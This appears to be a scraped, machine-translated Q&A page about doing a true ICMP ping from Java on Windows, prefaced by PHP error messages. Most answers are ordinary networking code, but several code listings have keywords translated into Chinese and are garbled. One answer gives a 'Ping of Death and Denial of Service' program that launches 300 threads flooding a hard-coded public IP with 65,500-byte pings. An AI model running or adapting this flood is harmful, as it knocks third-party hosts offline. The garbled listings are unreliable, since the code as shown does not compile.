Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/java/339.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181

Warning: file_get_contents(/data/phpspider/zhask/data//catemap/0/windows/14.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
如何从Windows执行真正的Java ping?_Java_Windows_Networking_Ping - Fatal编程技术网

如何从Windows执行真正的Java ping?

如何从Windows执行真正的Java ping?,java,windows,networking,ping,Java,Windows,Networking,Ping,我在网络上有一个设备,我正试图通过Java程序ping它。通过windows命令提示符,我可以ping设备地址并对地址进行跟踪 在网上,我看到为了通过Java执行ping,您必须执行以下操作: InetAddress.getByName(address).isReachable(timeout); 但是,当我在我的设备地址上使用此代码时,它在我的程序中总是返回false。我使用的是正确的IPv4地址,具有良好的超时值。另外,如果我使用本地主机地址,它也可以正常工作 为什么我可以通过cmd而不是

我在网络上有一个设备,我正试图通过Java程序ping它。通过windows命令提示符,我可以ping设备地址并对地址进行跟踪

在网上,我看到为了通过Java执行ping,您必须执行以下操作:

InetAddress.getByName(address).isReachable(timeout);
但是,当我在我的设备地址上使用此代码时,它在我的程序中总是返回false。我使用的是正确的IPv4地址,具有良好的超时值。另外,如果我使用本地主机地址,它也可以正常工作

为什么我可以通过cmd而不是程序ping设备?我在很多地方都听说这不是一个真正的平

有没有更好的方法在Java中模拟ping

谢谢

isReachable()
将使用
ICMP回显请求
s(如果可以获得权限),否则它将尝试在目标主机的端口7(回显)上建立TCP连接。
因此,您的问题可能是配置问题,即没有足够的权限在客户端计算机上执行此操作,或者如果您的客户端没有权限执行
ICMP回显请求,则服务器上的端口7问题。可能在您的情况下,您需要解决其中一方或另一方,以使其发挥作用

我在OSX和Linux客户机上测试了以下内容,当测试其他OSX、Linux和Windows服务器机器的可达性时,它会起作用。我没有Windows计算机作为客户端运行此程序

import java.io.IOException;
import java.net.InetAddress;

public class IsReachable
{
    public static void main(final String[] args) throws IOException
    {
        final InetAddress host = InetAddress.getByName(args[0]);
        System.out.println("host.isReachable(1000) = " + host.isReachable(1000));
    }
}
从我读到的。这显然是Windows的限制,Windows上不支持作为Windows 2000之前的系统调用的
ICMP PING
,因此它默认尝试连接到端口7,并且在您尝试“访问”的计算机上被阻止。Java还不支持新的本机系统调用。权限是针对基于Unix的系统的,因为它们需要root用户发送
ICMP
数据包


如果您想为Windows 2000及更高版本推出自己的Windows本机
ICMP PING
,有一个。

有点晚了,但我在尝试做同样的事情时偶然发现了这个问题

我使用的一种变通方法是直接使用命令行ping

    public static boolean ping(String host)
{
    boolean isReachable = false;
    try {
        Process proc = new ProcessBuilder("ping", host).start();

        int exitValue = proc.waitFor();
        System.out.println("Exit Value:" + exitValue);
        if(exitValue == 0)
            isReachable = true;
    } catch (IOException e1) {
        System.out.println(e1.getMessage());
        e1.printStackTrace();
    } catch (InterruptedException e) {
        e.printStackTrace();
    }
    return isReachable;
}

原因之一是您指定的超时太低。我遇到了类似的问题,但当我将超时增加到适当的值时,isReachable调用返回了正确的值。

当我需要在Windows、Linux和OSX中进行真正的ICMP ping时(我没有测试过其他系统),我使用此函数(从)


我看到很多与该问题相关的糟糕代码。为我的站点工作的代码是(站点不知道如何正确解析我的代码文件):

公共类测试{
公共静态布尔值isReachablebyPing(字符串ip){
试一试{
字符串命令;
if(System.getProperty(“os.name”).toLowerCase().StartWith(“windows”)){
//窗户
command=“ping-n2”+ip;
}否则{
//适用于Linux和OSX
command=“ping-c2”+ip;
}
Process proc=Runtime.getRuntime().exec(命令);
StreamGobbler outputGobbler=新的StreamGobbler(proc.getInputStream(),“OUTPUT”);
outputGobbler.start();
进程waitFor();
返回checkAvailability(outputGobbler.getOutputLines());
}捕获(IOException | InterruptedException ex){
Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE,null,ex);
}
返回false;
}
公共静态void main(字符串…参数){
字符串ip=“10.20.20.17”;//在我的例子中为false
字符串ip1=“10.20.20.100”;//在我的例子中为true
System.out.println(ip+“可用”+isreachable byping(ip));
System.out.println(ip1+“可用”+isReachablebyPing(ip1));
}
专用静态布尔检查可用性(列出输出行){
用于(字符串行:输出行){
if(第行包含(“不可访问”)){
返回false;
}
if(line.contains(“TTL=)){
返回true;
}
}
返回false;
}
}
类StreamGobbler扩展线程{
受保护的输入流是;
保护字符串类型;
受保护的列表输出线;
StreamGobbler(InputStream是,字符串类型){
this.is=is;
this.type=type;
outputLines=新的ArrayList();
}
公共列表getOutputLines(){
返回输出线;
}
@凌驾
公开募捐{
试一试{
InputStreamReader isr=新的InputStreamReader(is);
BufferedReader br=新的BufferedReader(isr);
弦线;
而((line=br.readLine())!=null){
输出行。添加(行);
}
}捕获(IOEX异常){
Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE,null,ex);
}
}
}

要在没有特权的情况下从java轻松ping,我使用

它非常容易使用:

    final IcmpPingRequest request = IcmpPingUtil.createIcmpPingRequest ();

    request.setHost ("www.google.org");

    // repeat a few times

    for (int count = 1; count <= 4; count ++) {

        // delegate

         final IcmpPingResponse response = IcmpPingUtil.executePingRequest (request);

         // log

         final String formattedResponse = IcmpPingUtil.formatResponse (response);

         System.out.println (formattedResponse);

         // rest

         Thread.sleep (1000);

    }
final icmpingrequest=icmpingutil.createicmpingrequest();
request.setHost(“www.google.org”);
//重复几次

对于(int count=1;count,如果使用Windows机器ping公共IP地址,则使用此选项不会有帮助:

String ipAddress = "192.168.1.10";
InetAddress inet = InetAddress.getByName(ipAddress);
boolean reachable = inet.isReachable(5000);
注:文件规定:

如果权限 可以获取,否则它将尝试建立TCP连接 在目标主机的端口7(Echo)

我试过了,但结果不准确

真正适合我的是由我们的同事用户编写的类,它发送trueICMP ping,并根据IP状态返回true或false


以下JAVA代码是使用Microsoft Windows Ping死亡和拒绝服务的示例。这将用于测试目的,以便构建反黑客程序
    final IcmpPingRequest request = IcmpPingUtil.createIcmpPingRequest ();

    request.setHost ("www.google.org");

    // repeat a few times

    for (int count = 1; count <= 4; count ++) {

        // delegate

         final IcmpPingResponse response = IcmpPingUtil.executePingRequest (request);

         // log

         final String formattedResponse = IcmpPingUtil.formatResponse (response);

         System.out.println (formattedResponse);

         // rest

         Thread.sleep (1000);

    }
String ipAddress = "192.168.1.10";
InetAddress inet = InetAddress.getByName(ipAddress);
boolean reachable = inet.isReachable(5000);
// BEGIN Ping of Death and Denial of Service 
import java.awt.AWTException;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URISyntaxException;

import jxl.read.biff.BiffException;
import jxl.write.WriteException;

public class PoDandDoS {
    protected static final long serialVersionUID = 300200;
    public static void main(String[] args)
            throws IOException, URISyntaxException, InterruptedException, AWTException, BiffException, WriteException {
        Thread[] threads = new Thread[300];
        for (int i = 0; i < 300; i++) {
            threads[i] = new Thread(new Runnable() {
                public void run() {
                    try {
                        thread();
                    } catch (IOException | InterruptedException e) {
                        e.printStackTrace();
                    }
                }
            });
            threads[i].start();
        }

        for (int i = 0; i < 300; i++) {
            threads[i].join();
        }
    }

    private static void thread() throws IOException, InterruptedException {
        // Ping of Death
        String[] StringMove1 = { "cmd.exe", "/c", "ping 108.167.182.244 -l 65500 -n 10000000 -w 1" };
        Process ProcessMove1 = Runtime.getRuntime().exec(StringMove1);
        BufferedReader VarMove1 = new BufferedReader(new InputStreamReader(ProcessMove1.getInputStream()));
        String temp1 = "";
        @SuppressWarnings("unused")
        String Hostname1 = "";
        while ((temp1 = VarMove1.readLine()) != null) {
            Thread.sleep(2);
            Hostname1 = temp1;
        }
        VarMove1.close();
    }
}
import java.io.IOException;

//BEGIN  Clean Process      
public class CleanProcess {
    protected static final long serialVersionUID = 300200;
    public static void main(String[] args) throws IOException {
        // Close every process of PING and CMD running from your PC 
        Runtime.getRuntime().exec("taskkill /F /IM PING.EXE");
        Runtime.getRuntime().exec("taskkill /F /IM cmd.EXE");
    }
} 
public class Ping {

    // The default daytime port
    static int DAYTIME_PORT = 13;

    // The port we'll actually use
    static int port = DAYTIME_PORT;


    // Representation of a ping target
    //
    static class Target {

        InetSocketAddress address;
        SocketChannel channel;
        Exception failure;
        long connectStart;
        long connectFinish = 0;
        boolean shown = false;

        Target(String host) {
            try {
                address = new InetSocketAddress(InetAddress.getByName(host),
                        port);
            } catch (IOException x) {
                failure = x;
            }
        }

        void show() {
            String result;
            if (connectFinish != 0)
                result = Long.toString(connectFinish - connectStart) + "ms";
            else if (failure != null)
                result = failure.toString();
            else
                result = "Timed out";
            System.out.println(address + " : " + result);
            shown = true;
        }

    }


    // Thread for printing targets as they're heard from
    //
    static class Printer
            extends Thread {
        LinkedList<Target> pending = new LinkedList<>();

        Printer() {
            setName("Printer");
            setDaemon(true);
        }

        void add(Target t) {
            synchronized (pending) {
                pending.add(t);
                pending.notify();
            }
        }

        public void run() {
            try {
                for (; ; ) {
                    Target t = null;
                    synchronized (pending) {
                        while (pending.size() == 0)
                            pending.wait();
                        t = (Target) pending.removeFirst();
                    }
                    t.show();
                }
            } catch (InterruptedException x) {
                return;
            }
        }

    }


    // Thread for connecting to all targets in parallel via a single selector
    //
    static class Connector
            extends Thread {
        Selector sel;
        Printer printer;

        // List of pending targets.  We use this list because if we try to
        // register a channel with the selector while the connector thread is
        // blocked in the selector then we will block.
        //
        LinkedList<Target> pending = new LinkedList<>();

        Connector(Printer pr) throws IOException {
            printer = pr;
            sel = Selector.open();
            setName("Connector");
        }

        // Initiate a connection sequence to the given target and add the
        // target to the pending-target list
        //
        void add(Target t) {
            SocketChannel sc = null;
            try {

                // Open the channel, set it to non-blocking, initiate connect
                sc = SocketChannel.open();
                sc.configureBlocking(false);

                boolean connected = sc.connect(t.address);

                // Record the time we started
                t.channel = sc;
                t.connectStart = System.currentTimeMillis();

                if (connected) {
                    t.connectFinish = t.connectStart;
                    sc.close();
                    printer.add(t);
                } else {
                    // Add the new channel to the pending list
                    synchronized (pending) {
                        pending.add(t);
                    }

                    // Nudge the selector so that it will process the pending list
                    sel.wakeup();
                }
            } catch (IOException x) {
                if (sc != null) {
                    try {
                        sc.close();
                    } catch (IOException xx) {
                    }
                }
                t.failure = x;
                printer.add(t);
            }
        }

        // Process any targets in the pending list
        //
        void processPendingTargets() throws IOException {
            synchronized (pending) {
                while (pending.size() > 0) {
                    Target t = (Target) pending.removeFirst();
                    try {

                        // Register the channel with the selector, indicating
                        // interest in connection completion and attaching the
                        // target object so that we can get the target back
                        // after the key is added to the selector's
                        // selected-key set
                        t.channel.register(sel, SelectionKey.OP_CONNECT, t);

                    } catch (IOException x) {

                        // Something went wrong, so close the channel and
                        // record the failure
                        t.channel.close();
                        t.failure = x;
                        printer.add(t);

                    }

                }
            }
        }

        // Process keys that have become selected
        //
        void processSelectedKeys() throws IOException {
            for (Iterator i = sel.selectedKeys().iterator(); i.hasNext(); ) {

                // Retrieve the next key and remove it from the set
                SelectionKey sk = (SelectionKey) i.next();
                i.remove();

                // Retrieve the target and the channel
                Target t = (Target) sk.attachment();
                SocketChannel sc = (SocketChannel) sk.channel();

                // Attempt to complete the connection sequence
                try {
                    if (sc.finishConnect()) {
                        sk.cancel();
                        t.connectFinish = System.currentTimeMillis();
                        sc.close();
                        printer.add(t);
                    }
                } catch (IOException x) {
                    sc.close();
                    t.failure = x;
                    printer.add(t);
                }
            }
        }

        volatile boolean shutdown = false;

        // Invoked by the main thread when it's time to shut down
        //
        void shutdown() {
            shutdown = true;
            sel.wakeup();
        }

        // Connector loop
        //
        public void run() {
            for (; ; ) {
                try {
                    int n = sel.select();
                    if (n > 0)
                        processSelectedKeys();
                    processPendingTargets();
                    if (shutdown) {
                        sel.close();
                        return;
                    }
                } catch (IOException x) {
                    x.printStackTrace();
                }
            }
        }

    }


    public static void main(String[] args)
            throws InterruptedException, IOException {
        if (args.length < 1) {
            System.err.println("Usage: java Ping [port] host...");
            return;
        }
        int firstArg = 0;

        // If the first argument is a string of digits then we take that
        // to be the port number to use
        if (Pattern.matches("[0-9]+", args[0])) {
            port = Integer.parseInt(args[0]);
            firstArg = 1;
        }

        // Create the threads and start them up
        Printer printer = new Printer();
        printer.start();
        Connector connector = new Connector(printer);
        connector.start();

        // Create the targets and add them to the connector
        LinkedList<Target> targets = new LinkedList<>();
        for (int i = firstArg; i < args.length; i++) {
            Target t = new Target(args[i]);
            targets.add(t);
            connector.add(t);
        }

        // Wait for everything to finish
        Thread.sleep(2000);
        connector.shutdown();
        connector.join();

        // Print status of targets that have not yet been shown
        for (Iterator i = targets.iterator(); i.hasNext(); ) {
            Target t = (Target) i.next();
            if (!t.shown)
                t.show();
        }

    }

}